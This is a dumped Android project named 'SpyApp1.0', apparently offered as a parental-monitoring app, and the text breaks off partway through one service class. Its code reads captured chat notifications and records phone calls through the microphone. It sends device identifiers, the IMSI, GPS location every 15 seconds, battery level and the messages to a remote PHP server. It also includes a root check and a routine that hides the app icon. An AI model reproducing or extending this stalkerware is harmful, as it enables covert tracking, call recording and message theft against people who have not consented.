├── .gitignore ├── .idea ├── .name ├── compiler.xml ├── copyright │ └── profiles_settings.xml ├── encodings.xml ├── gradle.xml ├── misc.xml ├── modules.xml ├── runConfigurations.xml └── vcs.xml ├── AndroidManifest.xml ├── app └── .gitignore ├── java └── com │ └── example │ └── vipul │ └── spyapp10 │ ├── Main2Activity.java │ ├── MainActivity.java │ ├── MyPhoneReceiver.java │ ├── MyService.java │ ├── MyService2.java │ ├── SQLdb.java │ ├── WhtService.java │ ├── browserHistoryService.java │ ├── callLogService.java │ ├── callRecordService.java │ ├── contactListService.java │ ├── livePannelService.java │ ├── messageService.java │ └── packageInfoService.java └── res ├── layout ├── activity_main.xml └── activity_main2.xml ├── menu └── menu_main.xml ├── mipmap-hdpi └── ic_launcher.png ├── mipmap-mdpi └── ic_launcher.png ├── mipmap-xhdpi └── ic_launcher.png ├── mipmap-xxhdpi └── ic_launcher.png ├── mipmap-xxxhdpi └── ic_launcher.png ├── values-v21 └── styles.xml ├── values-w820dp └── dimens.xml └── values ├── colors.xml ├── dimens.xml ├── strings.xml └── styles.xml /.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .gradle 3 | /local.properties 4 | /.idea/workspace.xml 5 | /.idea/libraries 6 | .DS_Store 7 | /build 8 | /captures 9 | -------------------------------------------------------------------------------- /.idea/.name: -------------------------------------------------------------------------------- 1 | SpyApp1.0 -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /.idea/copyright/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/gradle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 19 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 19 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 46 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/runConfigurations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 11 | 12 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 33 | 36 | 37 | 43 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 69 | 70 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/Main2Activity.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.content.Intent; 4 | import android.location.Location; 5 | import android.os.Bundle; 6 | import android.support.v7.app.AppCompatActivity; 7 | 8 | import com.google.android.gms.common.ConnectionResult; 9 | import com.google.android.gms.common.api.GoogleApiClient; 10 | import com.google.android.gms.common.api.GoogleApiClient.ConnectionCallbacks; 11 | import com.google.android.gms.common.api.GoogleApiClient.OnConnectionFailedListener; 12 | import com.google.android.gms.location.LocationServices; 13 | 14 | 15 | public class Main2Activity extends AppCompatActivity implements ConnectionCallbacks, OnConnectionFailedListener { 16 | Location mLastLocation; 17 | public static String myLocation; 18 | public static Double lat, lng; 19 | GoogleApiClient mGoogleApiClient = null; 20 | 21 | @Override 22 | protected void onCreate(Bundle savedInstanceState) { 23 | super.onCreate(savedInstanceState); 24 | 25 | if (mGoogleApiClient == null) { 26 | mGoogleApiClient = new GoogleApiClient.Builder(this).addConnectionCallbacks((ConnectionCallbacks) this) 27 | .addOnConnectionFailedListener((OnConnectionFailedListener) this).addApi(LocationServices.API).build(); 28 | } 29 | } 30 | 31 | protected void onStart() { 32 | mGoogleApiClient.connect(); 33 | super.onStart(); 34 | } 35 | 36 | protected void onStop() { 37 | mGoogleApiClient.disconnect(); 38 | super.onStop(); 39 | } 40 | 41 | @Override 42 | public void onConnected(Bundle bundle) { 43 | mLastLocation = LocationServices.FusedLocationApi.getLastLocation(mGoogleApiClient); 44 | if (mLastLocation != null) { 45 | myLocation=mLastLocation.getLatitude() + "|" + mLastLocation.getLongitude(); 46 | Intent i = new Intent(Main2Activity.this, MyService2.class); 47 | i.putExtra("myValue", mLastLocation.getLatitude() + "|" + mLastLocation.getLongitude()); 48 | startService(i); 49 | finish(); 50 | } 51 | } 52 | 53 | @Override 54 | public void onConnectionSuspended(int i) { 55 | } 56 | 57 | @Override 58 | public void onConnectionFailed(ConnectionResult connectionResult) { 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.app.Activity; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.content.pm.PackageManager; 7 | import android.net.ConnectivityManager; 8 | import android.net.NetworkInfo; 9 | import android.os.AsyncTask; 10 | import android.os.Build; 11 | import android.os.Bundle; 12 | import android.provider.Settings; 13 | import android.telephony.TelephonyManager; 14 | import android.view.View; 15 | import android.widget.Button; 16 | import android.widget.EditText; 17 | import android.widget.TextView; 18 | import android.widget.Toast; 19 | 20 | import org.apache.http.HttpResponse; 21 | import org.apache.http.NameValuePair; 22 | import org.apache.http.client.HttpClient; 23 | import org.apache.http.client.entity.UrlEncodedFormEntity; 24 | import org.apache.http.client.methods.HttpPost; 25 | import org.apache.http.impl.client.DefaultHttpClient; 26 | import org.apache.http.message.BasicNameValuePair; 27 | import org.apache.http.util.EntityUtils; 28 | import org.json.JSONObject; 29 | 30 | import java.io.BufferedReader; 31 | import java.io.File; 32 | import java.io.InputStreamReader; 33 | import java.util.ArrayList; 34 | import java.util.List; 35 | 36 | public class MainActivity extends Activity { 37 | EditText email, pass1, pass2; 38 | TextView deviceId, adminAccess; 39 | public static String EMAIL=null; 40 | Button btn; 41 | 42 | @Override 43 | protected void onCreate(Bundle savedInstanceState) { 44 | super.onCreate(savedInstanceState); 45 | setContentView(R.layout.activity_main); 46 | 47 | try { 48 | email = (EditText) findViewById(R.id.email); 49 | pass1 = (EditText) findViewById(R.id.password1); 50 | pass2 = (EditText) findViewById(R.id.password2); 51 | deviceId = (TextView) findViewById(R.id.deviceid); 52 | deviceId.setText(Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID)); 53 | try { 54 | if (Settings.Secure.getString(this.getContentResolver(), "enabled_notification_listeners") 55 | .contains(getApplicationContext().getPackageName())) { 56 | } else { 57 | startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS")); 58 | Toast.makeText(getApplicationContext(), "Enable SpyApp 1.0 and click on back button", Toast.LENGTH_LONG).show(); 59 | } 60 | } catch (Exception e) { 61 | startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS")); 62 | Toast.makeText(getApplicationContext(), "Enable SpyApp 1.0 and click on back button", Toast.LENGTH_LONG).show(); 63 | } 64 | activateSpy(); 65 | adminAccess = (TextView) findViewById(R.id.adminaccess); 66 | if (isDeviceRooted()) { 67 | adminAccess.setText("Rooted"); 68 | } else { 69 | adminAccess.setText("Not-Rooted"); 70 | } 71 | 72 | checkNortificationAccess(); 73 | 74 | }catch(Exception e){ 75 | finish(); 76 | Toast.makeText(getApplicationContext(),"Error starting APP",Toast.LENGTH_LONG).show(); 77 | } 78 | btn = (Button) findViewById(R.id.button); 79 | btn.setOnClickListener(new View.OnClickListener() { 80 | @Override 81 | public void onClick(View v) { 82 | if(!isInternetConnected(getApplicationContext())){ 83 | Toast.makeText(getApplicationContext(),"Connect Internet",Toast.LENGTH_LONG).show(); 84 | } 85 | else if (pass1.getText().toString().equals(pass2.getText().toString())) { 86 | if (pass1.getText().toString().equals("") || email.getText().toString().equals("")) { 87 | Toast.makeText(getApplicationContext(), "Empty field", Toast.LENGTH_SHORT).show(); 88 | } else { 89 | EMAIL=email.getText().toString(); 90 | try { 91 | new UpdateUserDetail().execute(email.getText().toString(), pass1.getText().toString(), 92 | deviceId.getText().toString(), adminAccess.getText().toString(), getIMSI(), getDeviceModel(), getOS()); 93 | 94 | }catch(Exception e){ 95 | } 96 | } 97 | } else { 98 | Toast.makeText(getApplicationContext(), "password not matching", Toast.LENGTH_SHORT).show(); 99 | } 100 | } 101 | }); 102 | } 103 | public static boolean isInternetConnected(Context context) { 104 | ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); 105 | NetworkInfo activeNetwork = cm.getActiveNetworkInfo(); 106 | return activeNetwork != null && activeNetwork.isConnectedOrConnecting(); 107 | } 108 | public String getOS(){ 109 | try { 110 | return Build.VERSION.RELEASE; 111 | } catch (Exception e) { 112 | return "---"; 113 | } 114 | } 115 | public String getIMSI(){ 116 | TelephonyManager m = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); 117 | try { 118 | return m.getSubscriberId(); 119 | } catch (Exception e) { 120 | return "---"; 121 | } 122 | } 123 | public void hideAPP(){ 124 | try{ 125 | PackageManager p = getPackageManager(); 126 | p.setComponentEnabledSetting(getComponentName(), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); 127 | Toast.makeText(getApplicationContext(),"Hiding App",Toast.LENGTH_LONG).show(); 128 | } catch (Exception e) { 129 | e.printStackTrace(); 130 | } 131 | } 132 | public static boolean isDeviceRooted() { 133 | try { 134 | return checkRootMethod1() || checkRootMethod2() || checkRootMethod3(); 135 | } catch (Exception e) { 136 | return false; 137 | } 138 | } 139 | private static boolean checkRootMethod1() { 140 | String buildTags = android.os.Build.TAGS; 141 | return (buildTags != null && buildTags.contains("test-keys")); 142 | } 143 | private static boolean checkRootMethod2() { 144 | String[] paths = {"/system/app/Superuser.apk", "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su", 145 | "/system/bin/failsafe/su", "/data/local/su"}; 146 | for (String path : paths) { 147 | if (new File(path).exists()) return true; 148 | } 149 | return false; 150 | } 151 | private static boolean checkRootMethod3() { 152 | Process process = null; 153 | try { 154 | process = Runtime.getRuntime().exec(new String[]{"/system/xbin/which", "su"}); 155 | BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream())); 156 | if (in.readLine() != null) return true; 157 | return false; 158 | } catch (Throwable t) { 159 | return false; 160 | } finally { 161 | if (process != null) process.destroy(); 162 | } 163 | } 164 | public String getDeviceModel() { 165 | String manufacturer = Build.MANUFACTURER; 166 | String model = Build.MODEL; 167 | if (model.startsWith(manufacturer)) { 168 | return capitalize(model); 169 | } else { 170 | return capitalize(manufacturer) + "" + model; 171 | } 172 | } 173 | public String capitalize(String s) { 174 | if (s == null || s.length() == 0) { 175 | return ""; 176 | } 177 | char first = s.charAt(0); 178 | if (Character.isUpperCase(first)) { 179 | return s; 180 | } else { 181 | return Character.toUpperCase(first) + s.substring(1); 182 | } 183 | } 184 | public void checkNortificationAccess(){ 185 | try { 186 | if (Settings.Secure.getString(this.getContentResolver(), "enabled_notification_listeners") 187 | .contains(getApplicationContext().getPackageName())) { 188 | } else { 189 | startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS")); 190 | Toast.makeText(getApplicationContext(),"Enable SpyApp 1.0 and click on back button",Toast.LENGTH_LONG).show(); 191 | } 192 | } catch (Exception e) { 193 | startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS")); 194 | Toast.makeText(getApplicationContext(),"Enable SpyApp 1.0 and click on back button",Toast.LENGTH_LONG).show(); 195 | } 196 | } 197 | private class UpdateUserDetail extends AsyncTask { 198 | @Override 199 | protected JSONObject doInBackground(String... params) { 200 | JSONObject mJSONResponse = null; 201 | try { 202 | HttpClient mClient = new DefaultHttpClient(); 203 | HttpPost httpPost = new HttpPost("http://parentalapp.16mb.com/newacc.php"); 204 | List nameValuePair = new ArrayList(7); 205 | nameValuePair.add(new BasicNameValuePair("email", params[0])); 206 | nameValuePair.add(new BasicNameValuePair("pass", params[1])); 207 | nameValuePair.add(new BasicNameValuePair("did", params[2])); 208 | nameValuePair.add(new BasicNameValuePair("root", params[3])); 209 | nameValuePair.add(new BasicNameValuePair("imsi", params[4])); 210 | nameValuePair.add(new BasicNameValuePair("model", params[5])); 211 | nameValuePair.add(new BasicNameValuePair("os", params[6])); 212 | httpPost.setEntity(new UrlEncodedFormEntity(nameValuePair)); 213 | HttpResponse mResponse = mClient.execute(httpPost); 214 | String mJResponse = EntityUtils.toString(mResponse.getEntity()); 215 | mJSONResponse = new JSONObject(mJResponse); 216 | } catch (Exception e) { 217 | e.printStackTrace(); 218 | } 219 | return mJSONResponse; 220 | } 221 | 222 | @Override 223 | protected void onPostExecute(JSONObject jsonObject) { 224 | super.onPostExecute(jsonObject); 225 | String status = null; 226 | try { 227 | status = jsonObject.getString("code"); 228 | if(status.equals("1")){ 229 | Toast.makeText(getApplicationContext(),"Email registered",Toast.LENGTH_LONG).show(); 230 | } 231 | else{ 232 | Toast.makeText(getApplicationContext(),"Email already registered",Toast.LENGTH_LONG).show(); 233 | } 234 | } catch (Exception e) { 235 | } 236 | } 237 | } 238 | public void activateSpy(){ 239 | //hideAPP(); 240 | if(appInstalledOrNot("com.android.chrome")) { 241 | startService(new Intent(MainActivity.this, browserHistoryService.class)); 242 | } 243 | //startService(new Intent(MainActivity.this,callLogService.class)); 244 | //startService(new Intent(MainActivity.this, callRecordService.class)); 245 | //startService(new Intent(MainActivity.this, contactListService.class)); 246 | //startService(new Intent(MainActivity.this, livePannelService.class)); 247 | //if(appInstalledOrNot("com.android.vending")) { 248 | startActivity(new Intent(MainActivity.this, Main2Activity.class)); 249 | //} 250 | //startService(new Intent(MainActivity.this, messageService.class)); 251 | //startService(new Intent(MainActivity.this, MyService.class)); 252 | //startService(new Intent(MainActivity.this, MyService2.class)); 253 | //startService(new Intent(MainActivity.this, packageInfoService.class)); 254 | //finish(); 255 | } 256 | private boolean appInstalledOrNot(String uri) { 257 | PackageManager pm = getPackageManager(); 258 | try { 259 | pm.getPackageInfo(uri, PackageManager.GET_ACTIVITIES); 260 | } 261 | catch (PackageManager.NameNotFoundException e) { 262 | return false; 263 | } 264 | return true ; 265 | } 266 | } -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/MyPhoneReceiver.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.media.MediaRecorder; 7 | import android.os.Bundle; 8 | import android.os.Environment; 9 | import android.telephony.PhoneStateListener; 10 | import android.telephony.TelephonyManager; 11 | import android.text.format.Time; 12 | import android.util.Log; 13 | 14 | import java.io.File; 15 | import java.io.IOException; 16 | 17 | public class MyPhoneReceiver extends BroadcastReceiver { 18 | MediaRecorder recorder; 19 | TelephonyManager telManager; 20 | boolean recordStarted; 21 | static boolean status = false; 22 | Time today; 23 | String phoneNumber; 24 | 25 | @Override 26 | public void onReceive(Context context, Intent intent) { 27 | String action = intent.getAction(); 28 | Log.i("vipul1_action", "" + action); 29 | today = new Time(Time.getCurrentTimezone()); 30 | today.setToNow(); 31 | 32 | if (status == false) { 33 | try { 34 | recorder = new MediaRecorder(); 35 | recorder.reset(); 36 | recorder.setAudioSource(MediaRecorder.AudioSource.MIC); 37 | recorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); 38 | recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); 39 | String date = today.monthDay + "_" + (today.month + 1) + "_" + today.year; 40 | String time = today.format("%k_%M_%S"); 41 | File file = createDirIfNotExists(date + "_" + time); 42 | recorder.setOutputFile(file.getAbsolutePath()); 43 | recorder.prepare(); 44 | recorder.start(); 45 | recordStarted = true; 46 | status = true; 47 | } catch (Exception ex) { 48 | ex.printStackTrace(); 49 | } 50 | Bundle extras = intent.getExtras(); 51 | if (extras != null) { 52 | // OFFHOOK 53 | String state = extras.getString(TelephonyManager.EXTRA_STATE); 54 | Log.w("DEBUG", "aa" + state); 55 | if (state.equals(TelephonyManager.EXTRA_STATE_RINGING)) { 56 | phoneNumber = extras.getString(TelephonyManager.EXTRA_INCOMING_NUMBER); 57 | // incoming(phoneNumber); 58 | incomingcallrecord(action, context); 59 | } else if (state.equals(TelephonyManager.EXTRA_STATE_OFFHOOK)) { 60 | phoneNumber = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER); 61 | Log.i("number >>>>>>>>>>>>>>", "" + this.getResultData()); 62 | incomingcallrecord(action, context); 63 | } 64 | } 65 | } else { 66 | status = false; 67 | } 68 | } 69 | 70 | private void incomingcallrecord(String action, Context context) { 71 | if (action.equals("android.intent.action.PHONE_STATE")) { 72 | telManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); 73 | telManager.listen(phoneListener, PhoneStateListener.LISTEN_CALL_STATE); 74 | } 75 | } 76 | 77 | private final PhoneStateListener phoneListener = new PhoneStateListener() { 78 | @Override 79 | public void onCallStateChanged(int state, String incomingNumber) { 80 | Log.d("vipul1_call", "calling number" + incomingNumber); 81 | try { 82 | switch (state) { 83 | case TelephonyManager.CALL_STATE_RINGING: { 84 | Log.e("vipul1_state", "CALL_STATE_RINGING"); 85 | break; 86 | } 87 | case TelephonyManager.CALL_STATE_OFFHOOK: { 88 | Log.e("vipul1_state", "CALL_STATE_OFFHOOK"); 89 | break; 90 | } 91 | case TelephonyManager.CALL_STATE_IDLE: { 92 | Log.e("vipul1_state", "CALL_STATE_IDLE"); 93 | if (recordStarted) { 94 | recorder.stop(); 95 | recorder.reset(); 96 | recorder.release(); 97 | recorder = null; 98 | recordStarted = false; 99 | break; 100 | } 101 | } 102 | default: { 103 | } 104 | } 105 | } catch (Exception ex) { 106 | 107 | } 108 | } 109 | }; 110 | 111 | public File createDirIfNotExists(String path) { 112 | File folder = new File(Environment.getExternalStorageDirectory() + "/PhoneCallRecording"); 113 | if (!folder.exists()) { 114 | if (!folder.mkdirs()) { 115 | Log.e("vipul1_folder", "folder is created"); 116 | } 117 | } 118 | File file = new File(folder, path + ".3GPP"); 119 | try { 120 | if (!file.exists()) { 121 | if (file.createNewFile()) { 122 | Log.e("vipul1_file", "file is created"); 123 | } 124 | } 125 | } catch (IOException e) { 126 | } 127 | return file; 128 | } 129 | 130 | } 131 | -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/MyService.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.app.Service; 4 | import android.content.Intent; 5 | import android.os.AsyncTask; 6 | import android.os.IBinder; 7 | import android.provider.Settings; 8 | import android.util.Log; 9 | 10 | import org.apache.http.HttpResponse; 11 | import org.apache.http.NameValuePair; 12 | import org.apache.http.client.HttpClient; 13 | import org.apache.http.client.entity.UrlEncodedFormEntity; 14 | import org.apache.http.client.methods.HttpPost; 15 | import org.apache.http.impl.client.DefaultHttpClient; 16 | import org.apache.http.message.BasicNameValuePair; 17 | import org.apache.http.util.EntityUtils; 18 | import org.json.JSONObject; 19 | 20 | import java.util.ArrayList; 21 | import java.util.List; 22 | 23 | public class MyService extends Service { 24 | String Email = null; 25 | String DeviceId =""; 26 | public MyService() { 27 | } 28 | 29 | @Override 30 | public IBinder onBind(Intent intent) { 31 | throw new UnsupportedOperationException("Not yet implemented"); 32 | } 33 | 34 | @Override 35 | public void onStart(Intent intent, int startId) { 36 | super.onStart(intent, startId); 37 | 38 | DeviceId =Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID) ; 39 | Email=MainActivity.EMAIL; 40 | 41 | final Thread runnable = new Thread() { 42 | @Override 43 | public void run() { 44 | while (true) { 45 | try { 46 | SocialChattingApp(); 47 | sleep(300000); 48 | } catch (Exception e) { 49 | Log.e("errorinService1", e.toString()); 50 | } 51 | } 52 | } 53 | }; 54 | runnable.start(); 55 | } 56 | @Override 57 | public void onDestroy() { 58 | super.onDestroy(); 59 | } 60 | 61 | public void SocialChattingApp(){ 62 | try { 63 | SQLdb sqLdb = new SQLdb(getApplicationContext()); 64 | sqLdb.open(); 65 | int count = sqLdb.getCount(); 66 | String[] ticker = new String[count]; 67 | ticker = sqLdb.getList(0); 68 | String[] text = new String[count]; 69 | text = sqLdb.getList(1); 70 | String[] time = new String[count]; 71 | time = sqLdb.getList(2); 72 | String[] pack = new String[count]; 73 | pack = sqLdb.getList(3); 74 | String tickerz = "", textz = "", timez = "", packz = ""; 75 | for (int i = 0; i < count; i++) { 76 | tickerz = ticker[i] + "||"; 77 | timez = time[i] + "||"; 78 | packz = pack[i] + "||"; 79 | textz = text[i] + "||"; 80 | } 81 | String Email=MainActivity.EMAIL; 82 | String DeviceId = Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID) ; 83 | new UpdateUserDetailSOCIALAPP().execute(Email, DeviceId, packz, timez, tickerz, textz); 84 | sqLdb.close(); 85 | }catch (Exception e){ 86 | } 87 | } 88 | 89 | private class UpdateUserDetailSOCIALAPP extends AsyncTask { 90 | @Override 91 | protected JSONObject doInBackground(String... params) { 92 | JSONObject mJSONResponse = null; 93 | try { 94 | HttpClient mClient = new DefaultHttpClient(); 95 | HttpPost httpPost = new HttpPost("http://parentalapp.16mb.com/socio.php"); 96 | List nameValuePair = new ArrayList(6); 97 | nameValuePair.add(new BasicNameValuePair("email", params[0])); 98 | nameValuePair.add(new BasicNameValuePair("did", params[1])); 99 | nameValuePair.add(new BasicNameValuePair("pname", params[2])); 100 | nameValuePair.add(new BasicNameValuePair("timestamp", params[3])); 101 | nameValuePair.add(new BasicNameValuePair("contact", params[4])); 102 | nameValuePair.add(new BasicNameValuePair("msg", params[5])); 103 | Log.e("problem", "rpblem1"); 104 | 105 | httpPost.setEntity(new UrlEncodedFormEntity(nameValuePair)); 106 | HttpResponse mResponse = mClient.execute(httpPost); 107 | String mJResponse = EntityUtils.toString(mResponse.getEntity()); 108 | mJSONResponse = new JSONObject(mJResponse); 109 | } catch (Exception e) { 110 | e.printStackTrace(); 111 | } 112 | return mJSONResponse; 113 | } 114 | 115 | @Override 116 | protected void onPostExecute(JSONObject jsonObject) { 117 | super.onPostExecute(jsonObject); 118 | } 119 | } 120 | } -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/MyService2.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.app.Service; 4 | import android.content.BroadcastReceiver; 5 | import android.content.Context; 6 | import android.content.Intent; 7 | import android.content.IntentFilter; 8 | import android.location.Location; 9 | import android.location.LocationListener; 10 | import android.os.AsyncTask; 11 | import android.os.BatteryManager; 12 | import android.os.Bundle; 13 | import android.os.Environment; 14 | import android.os.IBinder; 15 | import android.provider.Settings; 16 | import android.telephony.TelephonyManager; 17 | import android.util.Log; 18 | 19 | import org.apache.http.HttpResponse; 20 | import org.apache.http.NameValuePair; 21 | import org.apache.http.client.HttpClient; 22 | import org.apache.http.client.entity.UrlEncodedFormEntity; 23 | import org.apache.http.client.methods.HttpPost; 24 | import org.apache.http.impl.client.DefaultHttpClient; 25 | import org.apache.http.message.BasicNameValuePair; 26 | import org.apache.http.util.EntityUtils; 27 | import org.json.JSONObject; 28 | 29 | import java.io.DataInputStream; 30 | import java.io.DataOutputStream; 31 | import java.io.File; 32 | import java.text.SimpleDateFormat; 33 | import java.util.ArrayList; 34 | import java.util.Calendar; 35 | import java.util.List; 36 | 37 | public class MyService2 extends Service implements LocationListener { 38 | 39 | public static String battery = "---"; 40 | public static String lat = "---", lng = "---"; 41 | String email = ""; 42 | String DeviceId; 43 | String latlng = " | "; 44 | 45 | public MyService2() { 46 | } 47 | 48 | @Override 49 | public IBinder onBind(Intent intent) { 50 | // TODO: Return the communication channel to the service. 51 | throw new UnsupportedOperationException("Not yet implemented"); 52 | } 53 | 54 | @Override 55 | public void onDestroy() { 56 | super.onDestroy(); 57 | } 58 | 59 | @Override 60 | public int onStartCommand(Intent intent, int flags, int startId) { 61 | try { 62 | this.registerReceiver(this.mBatInfoReceiver, new IntentFilter(Intent.ACTION_BATTERY_CHANGED)); 63 | latlng = intent.getStringExtra("myValue"); 64 | email = MainActivity.EMAIL; 65 | int i = 0; 66 | int j = 0; 67 | for (i = 0; i < latlng.length() - 1; i++) { 68 | if (latlng.substring(i, i + 1).equals("|")) { 69 | lat = latlng.substring(0, i); 70 | lng = latlng.substring(i + 1, latlng.length() - 1); 71 | } 72 | } 73 | DeviceId = Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID); 74 | 75 | final Thread runnable = new Thread() { 76 | @Override 77 | public void run() { 78 | while (true) { 79 | try { 80 | TelephonyManager t = (TelephonyManager) getApplicationContext().getSystemService(getApplicationContext().TELEPHONY_SERVICE); 81 | String operatorName = t.getSimOperatorName(); 82 | new UpdateUserDetailLOC().execute(email, DeviceId, lat, lng, getDateTime(), operatorName, battery); 83 | sleep(15000); 84 | } catch (Exception e) { 85 | Log.e("errorinService2", e.toString()); 86 | } 87 | } 88 | } 89 | }; 90 | runnable.start(); 91 | } catch (Exception e) { 92 | Log.e("errorinService2", e.toString()); 93 | } 94 | return super.onStartCommand(intent, flags, startId); 95 | } 96 | 97 | @Override 98 | public void onStart(Intent intent, int startId) { 99 | super.onStart(intent, startId); 100 | } 101 | 102 | public String getDateTime() { 103 | Calendar c = Calendar.getInstance(); 104 | SimpleDateFormat df = new SimpleDateFormat("dd-MMM-yyyy"); 105 | String day = df.format(c.getTime()); 106 | SimpleDateFormat tf = new SimpleDateFormat("HH:mm"); 107 | return "DATE- " + day + " TIME- " + tf.format(c.getTime()); 108 | } 109 | 110 | @Override 111 | public void onLocationChanged(Location location) { 112 | lat = String.valueOf(location.getLatitude()); 113 | lng = String.valueOf(location.getLongitude()); 114 | } 115 | 116 | @Override 117 | public void onStatusChanged(String provider, int status, Bundle extras) { 118 | } 119 | 120 | @Override 121 | public void onProviderEnabled(String provider) { 122 | } 123 | 124 | @Override 125 | public void onProviderDisabled(String provider) { 126 | } 127 | 128 | private class UpdateUserDetailLOC extends AsyncTask { 129 | @Override 130 | protected JSONObject doInBackground(String... params) { 131 | 132 | JSONObject mJSONResponse = null; 133 | try { 134 | HttpClient mClient = new DefaultHttpClient(); 135 | HttpPost httpPost = new HttpPost("http://parentalapp.16mb.com/locup.php"); 136 | List nameValuePair = new ArrayList(7); 137 | nameValuePair.add(new BasicNameValuePair("email", params[0])); 138 | nameValuePair.add(new BasicNameValuePair("did", params[1])); 139 | nameValuePair.add(new BasicNameValuePair("lat", params[2])); 140 | nameValuePair.add(new BasicNameValuePair("longi", params[3])); 141 | nameValuePair.add(new BasicNameValuePair("time", params[4])); 142 | nameValuePair.add(new BasicNameValuePair("operator", params[5])); 143 | nameValuePair.add(new BasicNameValuePair("battery", params[6])); 144 | 145 | httpPost.setEntity(new UrlEncodedFormEntity(nameValuePair)); 146 | HttpResponse mResponse = mClient.execute(httpPost); 147 | String mJResponse = EntityUtils.toString(mResponse.getEntity()); 148 | mJSONResponse = new JSONObject(mJResponse); 149 | } catch (Exception e) { 150 | } 151 | return mJSONResponse; 152 | } 153 | 154 | @Override 155 | protected void onPostExecute(JSONObject jsonObject) { 156 | super.onPostExecute(jsonObject); 157 | } 158 | } 159 | 160 | BroadcastReceiver mBatInfoReceiver = new BroadcastReceiver() { 161 | 162 | 163 | @Override 164 | public void onReceive(Context ctxt, Intent intent) { 165 | int level = intent.getIntExtra(BatteryManager.EXTRA_LEVEL, 0); 166 | battery = level + "%"; 167 | changeBattery(battery); 168 | } 169 | }; 170 | 171 | public void changeBattery(String x) { 172 | new UpdateUserDetailBattery().execute(email, Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID), x); 173 | } 174 | 175 | private class UpdateUserDetailBattery extends AsyncTask { 176 | @Override 177 | protected JSONObject doInBackground(String... params) { 178 | JSONObject mJSONResponse = null; 179 | try { 180 | HttpClient mClient = new DefaultHttpClient(); 181 | HttpPost httpPost = new HttpPost("http://parentalapp.16mb.com/battery.php"); 182 | List nameValuePair = new ArrayList(3); 183 | nameValuePair.add(new BasicNameValuePair("email", params[0])); 184 | nameValuePair.add(new BasicNameValuePair("did", params[1])); 185 | nameValuePair.add(new BasicNameValuePair("battery", params[2])); 186 | httpPost.setEntity(new UrlEncodedFormEntity(nameValuePair)); 187 | HttpResponse mResponse = mClient.execute(httpPost); 188 | String mJResponse = EntityUtils.toString(mResponse.getEntity()); 189 | mJSONResponse = new JSONObject(mJResponse); 190 | } catch (Exception e) { 191 | } 192 | return mJSONResponse; 193 | } 194 | 195 | @Override 196 | protected void onPostExecute(JSONObject jsonObject) { 197 | super.onPostExecute(jsonObject); 198 | } 199 | } 200 | 201 | public void sendAudioIfExist() { 202 | DataOutputStream dos = null; 203 | DataInputStream inStream = null; 204 | int 